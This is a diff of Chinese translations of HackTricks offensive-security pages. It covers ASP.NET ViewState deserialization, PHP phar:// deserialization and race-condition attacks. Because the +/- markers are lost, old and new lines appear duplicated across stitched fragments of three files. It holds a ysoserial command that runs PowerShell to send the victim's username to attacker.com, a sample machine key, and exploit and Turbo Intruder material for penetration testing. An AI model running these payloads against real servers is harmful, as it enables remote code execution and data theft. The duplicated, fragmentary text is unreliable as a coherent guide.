# 在不知道密钥的情况下利用 \_\_VIEWSTATE
|
||||
# 在不知道密钥的情况下利用\_\_VIEWSTATE
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中宣传你的公司吗?或者想要获取 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并且想要攻破不可攻破的 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标-**我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 什么是 ViewState
|
||||
## 什么是ViewState
|
||||
|
||||
**ViewState** 是 ASP.NET 框架默认使用的方法,用于在网页之间保留页面和控件的值。当页面的 HTML 渲染时,页面的当前状态和需要在 postback 期间保留的值会被序列化为 base64 编码的字符串,并输出到 ViewState 隐藏字段中。\
|
||||
以下属性或属性组合适用于 ViewState 信息:
|
||||
**ViewState**是ASP.NET框架默认使用的方法,用于在网页之间**保留页面和控件的值**。当页面的HTML被渲染时,页面的当前状态和需要在postback期间保留的值被序列化为base64编码的字符串,并输出到ViewState隐藏字段中。\
|
||||
以下属性或属性组合适用于ViewState信息:
|
||||
|
||||
* Base64
|
||||
* 可以使用 EnableViewStateMac 和 ViewStateEncryptionMode 属性设置为 false 来定义
|
||||
* Base64 + MAC(消息认证码)已启用
|
||||
* 可以使用 EnableViewStateMac 属性设置为 true 来定义
|
||||
* 可以使用EnableViewStateMac和ViewStateEncryptionMode属性设置为false来定义
|
||||
* Base64 + MAC(消息认证码)启用
|
||||
* 可以使用EnableViewStateMac属性设置为true来定义
|
||||
* Base64 + 加密
|
||||
* 可以使用 viewStateEncryptionMode 属性设置为 true 来定义
|
||||
* 可以使用viewStateEncryptionMode属性设置为true来定义
|
||||
|
||||
## **测试案例**
|
||||
|
||||
![](<../../.gitbook/assets/image (309) (2).png>)
|
||||
|
||||
### 测试案例:1 – EnableViewStateMac=false 和 viewStateEncryptionMode=false
|
||||
### 测试案例:1 - EnableViewStateMac=false和viewStateEncryptionMode=false
|
||||
|
||||
还可以通过在以下位置将 `AspNetEnforceViewStateMac` 注册表键设置为零来完全禁用 ViewStateMAC:
|
||||
还可以通过在以下位置将`AspNetEnforceViewStateMac`注册表键设置为零来完全禁用ViewStateMAC:
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
|
@ -54,7 +54,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
|||
|
||||
开发人员可以通过将 ViewState 从 HTTP 请求中移除(用户将不会收到此 cookie)来防止 ViewState 成为请求的一部分。\
|
||||
有人可能会认为,如果 ViewState 不存在,他们的实现就不会受到 ViewState 反序列化可能引发的任何潜在漏洞的影响。\
|
||||
然而,事实并非如此。如果我们将 ViewState 参数添加到请求体中,并发送使用 ysoserial 创建的序列化有效负载,我们仍然可以实现代码执行,就像案例 1 中所示。
|
||||
然而,事实并非如此。如果我们在请求体中添加 ViewState 参数,并发送使用 ysoserial 创建的序列化有效负载,我们仍然能够实现代码执行,就像案例 1 中所示。
|
||||
|
||||
### 测试案例:2 - .Net < 4.5 且 EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
|
@ -112,7 +112,7 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp
|
|||
```
|
||||
![](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
|
||||
|
||||
如果你很幸运地找到了密钥,你可以使用[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**继续进行攻击:**
|
||||
如果你很幸运地找到了密钥,你可以使用[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**来进行攻击:**
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
|
||||
|
@ -126,7 +126,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
|||
|
||||
在这种情况下,Burp无法识别参数是否受到MAC保护,因为它无法识别这些值。因此,该值可能已加密,您将**需要使用Machine Key来加密您的有效载荷**以利用此漏洞。
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.0.png)
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/3.0.png)
|
||||
|
||||
**在这种情况下,**[**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **模块正在开发中...**
|
||||
|
||||
|
@ -136,7 +136,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
|||
|
||||
* 从请求中删除`__VIEWSTATEENCRYPTED`参数以利用ViewState反序列化漏洞,否则将返回ViewState MAC验证错误,并且利用将失败,如下图所示:
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/3.1.png)
|
||||
|
||||
### 测试案例:4 – .Net >= 4.5 和 EnableViewStateMac=true/false 以及 ViewStateEncryptionMode=true/false,除非两个属性都设置为false
|
||||
|
||||
|
@ -190,7 +190,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
|||
```
|
||||
### 成功利用的结果 <a href="#poc" id="poc"></a>
|
||||
|
||||
对于所有的测试用例,如果 ViewState YSoSerial.Net 载荷**成功**起作用,服务器会响应“**500 内部服务器错误**”,响应内容为“**此页面的状态信息无效,可能已损坏**”,并且我们会得到如下所示的 OOB 请求:
|
||||
对于所有的测试用例,如果 ViewState YSoSerial.Net 载荷**成功**起作用,服务器会响应“**500 内部服务器错误**”,响应内容为“**此页面的状态信息无效,可能已损坏**”,我们会得到如下图所示的 OOB 请求:
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
|
||||
|
||||
|
@ -201,13 +201,13 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
|||
## 参考资料
|
||||
|
||||
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
|
||||
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并且想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -217,7 +217,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
|||
|
||||
* 您在**网络安全公司**工作吗?您想在 HackTricks 中看到您的**公司广告**吗?或者您想要访问最新版本的 PEASS 或下载 PDF 格式的 HackTricks 吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
||||
|
||||
|
|
|
@ -4,25 +4,25 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者你想要获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对 **黑客职业** 感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Phar** 文件(PHP Archive)文件以序列化格式包含元数据,因此,在解析时,此元数据将被反序列化,你可以尝试滥用 PHP 代码中的反序列化漏洞。
|
||||
**Phar** 文件(PHP 归档文件)文件以序列化格式包含元数据,因此,在解析时,此元数据将被反序列化,你可以尝试滥用 PHP 代码中的反序列化漏洞。
|
||||
|
||||
这个特性最好的一点是,即使使用不评估 PHP 代码的 PHP 函数(如 **file\_get\_contents()、fopen()、file() 或 file\_exists()、md5\_file()、filemtime() 或 filesize()**),这个反序列化也会发生。
|
||||
|
||||
因此,想象一种情况,你可以使用 **`phar://`** 协议使 PHP 网页获取任意文件的大小,并在代码中找到类似以下的**类**:
|
||||
所以,想象一下这样的情况,你可以使用 **`phar://`** 协议使 PHP 网页获取任意文件的大小,并在代码中找到类似下面的类:
|
||||
|
||||
{% code title="vunl.php" %}
|
||||
```php
|
||||
|
@ -42,7 +42,7 @@ filesize("phar://test.phar"); #The attacker can control this path
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
您可以创建一个**phar**文件,当加载时,将滥用此类以执行任意命令,例如:
|
||||
您可以创建一个**phar**文件,当加载时,它将滥用这个类来执行任意命令,例如:
|
||||
|
||||
{% code title="create_phar.php" %}
|
||||
```php
|
||||
|
@ -85,7 +85,7 @@ php vuln.php
|
|||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
|
@ -97,8 +97,8 @@ php vuln.php
|
|||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,7 +14,7 @@
|
|||
|
||||
* 你在**网络安全公司**工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的**最新版本或下载PDF格式的HackTricks**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
|
@ -22,18 +22,18 @@
|
|||
|
||||
## 利用竞争条件
|
||||
|
||||
滥用竞争条件的主要问题是需要请求在非常短的时间差内并行处理(通常>1ms)。在下一节中,提出了不同的解决方案,以实现这一点。
|
||||
滥用竞争条件的主要问题是需要请求在非常短的时间差内并行处理(通常>1ms)。在下面的部分中,提出了不同的解决方案,以实现这一点。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 单数据包攻击(HTTP/2)/ 最后一个字节同步(HTTP/1.1)
|
||||
|
||||
HTTP2允许在**单个TCP连接**中发送**2个请求**(而在HTTP/1.1中,它们必须是顺序的)。\
|
||||
使用单个TCP数据包可以完全**消除网络抖动的影响**,因此这对于竞争条件攻击也具有潜力。然而,**两个请求对于可靠的竞争攻击来说是不够的**,这要归功于**服务器端抖动** - 应用程序请求处理时间的变化,由于CPU争用等不可控变量引起。
|
||||
使用单个TCP数据包完全**消除了网络抖动的影响**,因此这对于竞争条件攻击也具有潜力。然而,**两个请求对于可靠的竞争攻击来说是不够的**,这要归功于**服务器端抖动** - 应用程序请求处理时间的变化,由于CPU争用等不可控变量引起。
|
||||
|
||||
但是,使用HTTP/1.1的'**最后一个字节同步**'技术,可以预先发送大部分数据,并保留每个请求的一个小片段,然后使用一个单个TCP数据包'完成'**20-30个请求**。
|
||||
|
||||
要**预先发送每个请求的大部分数据**:
|
||||
要**预先发送每个请求的大部分**:
|
||||
|
||||
* 如果请求没有正文,请发送所有标头,但不设置END\_STREAM标志。保留一个带有设置了END\_STREAM的空数据帧。
|
||||
* 如果请求有正文,请发送标头和除最后一个字节之外的所有正文数据。保留一个包含最后一个字节的数据帧。
|
||||
|
@ -44,7 +44,7 @@ HTTP2允许在**单个TCP连接**中发送**2个请求**(而在HTTP/1.1中,
|
|||
* 确保禁用TCP\_NODELAY - Nagle算法批处理最后的帧至关重要。
|
||||
* 发送一个ping数据包以预热本地连接。如果不这样做,操作系统的网络堆栈将把第一个最后的帧放在一个单独的数据包中。
|
||||
|
||||
最后,发送保留的帧。您应该能够使用Wireshark验证它们是否落在一个单独的数据包中。
|
||||
最后,发送被保留的帧。您应该能够使用Wireshark验证它们是否落在一个单独的数据包中。
|
||||
|
||||
{% hint style="info" %}
|
||||
请注意,这**对于某些服务器上的静态文件不起作用**,但静态文件对于竞争条件攻击是无关紧要的。
|
||||
|
@ -52,13 +52,13 @@ HTTP2允许在**单个TCP连接**中发送**2个请求**(而在HTTP/1.1中,
|
|||
|
||||
使用这种技术,您可以使20-30个请求同时到达服务器 - 无论网络抖动如何:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**适应目标架构**
|
||||
|
||||
值得注意的是,许多应用程序位于前端服务器后面,这些服务器可能决定将某些请求转发到后端的现有连接,并为其他请求创建新的连接。
|
||||
|
||||
因此,重要的是不要将不一致的请求时间归因于应用程序行为,例如仅允许单个线程访问资源的锁定机制。此外,前端请求路由通常是基于每个连接的,因此您可以通过在执行攻击之前在服务器端进行连接预热 - **在连接上发送几个无关紧要的请求**(这只是在开始实际攻击之前发送几个请求)来平滑请求时间。
|
||||
因此,重要的是不要将不一致的请求时间归因于应用程序行为,例如仅允许单个线程访问资源的锁定机制。此外,前端请求路由通常是基于每个连接的,因此您可以通过在攻击之前执行服务器端连接预热 - **在连接上发送几个无关紧要的请求**(这只是在开始实际攻击之前发送几个请求)来平滑请求时间。
|
||||
|
||||
#### 基于会话的锁定机制 <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
|
||||
|
||||
|
@ -67,11 +67,11 @@ HTTP2允许在**单个TCP连接**中发送**2个请求**(而在HTTP/1.1中,
|
|||
发现此类行为非常重要,因为否则它可能掩盖了可以轻松利用的漏洞。如果注意到所有请求都按顺序处理,请尝试使用不同的会话令牌发送每个请求。
|
||||
#### **滥用速率或资源限制**
|
||||
|
||||
如果连接预热没有任何效果,有多种解决方案可解决此问题。
|
||||
如果连接预热没有任何效果,那么有各种解决方案可供选择。
|
||||
|
||||
使用Turbo Intruder,您可以引入短暂的客户端延迟。然而,由于这涉及将实际的攻击请求分割成多个TCP数据包,您将无法使用单数据包攻击技术。因此,在高抖动目标上,无论您设置了什么延迟,攻击都不太可能可靠地工作。
|
||||
使用Turbo Intruder,您可以引入短暂的客户端延迟。然而,由于这涉及将实际攻击请求分割成多个TCP数据包,您将无法使用单数据包攻击技术。因此,在高抖动目标上,无论您设置了多少延迟,攻击都不太可能可靠地工作。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
相反,您可以通过滥用常见的安全功能来解决此问题。
|
||||
|
||||
|
@ -80,12 +80,12 @@ Web服务器通常会**在发送请求过多时延迟处理**。通过发送大
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="warning" %}
|
||||
有关此技术的更多信息,请查看原始报告[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
有关此技术的更多信息,请查看原始报告:[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
{% endhint %}
|
||||
|
||||
#### 攻击示例
|
||||
|
||||
* **Tubo Intruder - HTTP2单数据包攻击(1个端点)**:您可以将请求发送到**Turbo intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),您可以在请求中更改要暴力破解的值**`%s`**,例如`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单中选择**`examples/race-single-packer-attack.py`**:
|
||||
* **Tubo Intruder - HTTP2单数据包攻击(1个端点)**:您可以将请求发送到**Turbo Intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),您可以在请求中更改要暴力破解的值,例如 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单中选择**`examples/race-single-packer-attack.py`**:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -136,7 +136,7 @@ engine.openGate(currentAttempt)
|
|||
* 对于在两个子状态步骤之间延迟处理一个请求和另一个请求,您可以在两个请求之间添加额外的请求。
|
||||
* 对于多端点的RC,您可以开始发送到隐藏状态的请求,然后在其后发送50个利用隐藏状态的请求。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 原始BF
|
||||
|
||||
|
@ -167,15 +167,11 @@ table.add(req)
|
|||
|
||||
Python的asyncio模块是一种用于编写异步代码的库。它提供了一种方便的方式来处理并发任务,特别是在网络编程中。asyncio使用事件循环来调度和执行异步任务,这样可以避免阻塞其他任务的执行。
|
||||
|
||||
在使用asyncio进行编程时,可以使用`async`和`await`关键字来定义异步函数和异步操作。异步函数可以在执行过程中暂停并等待其他任务完成,然后再继续执行。这种方式可以提高程序的并发性能和响应能力。
|
||||
在使用asyncio进行编程时,可以使用`async`和`await`关键字来定义异步函数和异步操作。异步函数可以在执行过程中暂停并等待其他任务完成,然后再继续执行。
|
||||
|
||||
在编写异步代码时,可能会遇到一种称为“竞态条件”的问题。竞态条件指的是多个任务在访问和修改共享资源时,由于执行顺序不确定而导致的错误结果。在Web应用程序中,竞态条件可能导致安全漏洞,例如未经授权的访问或数据泄漏。
|
||||
使用asyncio进行编程时,可以使用`asyncio.create_task()`函数来创建一个任务,并将其添加到事件循环中。任务可以是一个异步函数或一个协程对象。
|
||||
|
||||
为了利用竞态条件进行攻击,黑客可以通过同时发送多个请求来创建一个竞态条件。例如,在一个电子商务网站中,黑客可以尝试同时购买一个商品的多个实例,以便超过库存数量。如果网站没有正确处理这种竞态条件,黑客可能会成功购买超过库存数量的商品。
|
||||
|
||||
为了防止竞态条件攻击,开发人员应该在关键代码段中使用适当的同步机制,例如锁或信号量。此外,使用事务和验证输入数据的有效性也是防止竞态条件的重要步骤。
|
||||
|
||||
总结一下,Python的asyncio模块提供了一种方便的方式来编写异步代码。然而,在编写异步代码时,开发人员应该注意竞态条件可能导致的安全漏洞,并采取适当的措施来防止这些问题的发生。
|
||||
通过使用asyncio的异步特性,可以实现高效的并发编程,提高程序的性能和响应能力。
|
||||
```python
|
||||
import asyncio
|
||||
import httpx
|
||||
|
@ -205,7 +201,7 @@ asyncio.run(main())
|
|||
```
|
||||
## **RC方法论**
|
||||
|
||||
### 限制超越/TOCTOU
|
||||
### 限制超出/TOCTOU
|
||||
|
||||
